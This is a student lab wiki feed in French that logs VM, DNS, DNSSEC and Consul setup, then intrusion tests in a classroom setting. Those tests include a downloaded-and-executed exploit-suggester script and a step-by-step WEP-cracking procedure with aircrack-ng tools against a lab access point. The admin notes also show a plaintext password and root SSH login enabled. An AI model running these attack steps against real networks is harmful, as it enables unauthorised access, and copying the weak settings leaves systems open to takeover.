 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     dest: &amp;quot;/etc/consul/{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - config.json&lt;br /&gt;
     - web.json&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
   register: systemd&lt;br /&gt;
 &lt;br /&gt;
 - name: Deamon reload&lt;br /&gt;
   systemd:&lt;br /&gt;
     daemon_reload: true&lt;br /&gt;
   when: systemd.changed&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
(Sans les espaces des accolades encore une fois)&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 2,&lt;br /&gt;
        &amp;quot;retry_join&amp;quot;: [&amp;quot;172.26.145.101&amp;quot;],&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/web.json&amp;lt;/code&amp;gt; contient : &lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;service&amp;quot;: {&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;web-bellerose&amp;quot;,&lt;br /&gt;
 		&amp;quot;tags&amp;quot;: [&amp;quot;boris&amp;quot;,&amp;quot;louis&amp;quot;,&amp;quot;web&amp;quot;],&lt;br /&gt;
 		&amp;quot;port&amp;quot;: 80&lt;br /&gt;
 	},&lt;br /&gt;
 &lt;br /&gt;
 	&amp;quot;check&amp;quot;: {&lt;br /&gt;
 		&amp;quot;id&amp;quot;: &amp;quot;webport&amp;quot;,&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;Simple HTTP GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;method&amp;quot;: &amp;quot;GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;http&amp;quot;: &amp;quot;http://172.26.145.106&amp;quot;,&lt;br /&gt;
 		&amp;quot;interval&amp;quot;: &amp;quot;10s&amp;quot;,&lt;br /&gt;
 		&amp;quot;timeout&amp;quot;: &amp;quot;1s&amp;quot;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là. Pour voir le résultat: http://172.26.145.106:8500&lt;br /&gt;
&lt;br /&gt;
Cela nous donne :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen_healthy.png|200px|thumb|center|Tada]]&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Screen_healthy.png&amp;diff=58026</id>
		<title>Fichier:Screen healthy.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Screen_healthy.png&amp;diff=58026"/>
				<updated>2022-01-12T13:02:11Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58018</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58018"/>
				<updated>2022-01-12T12:56:29Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
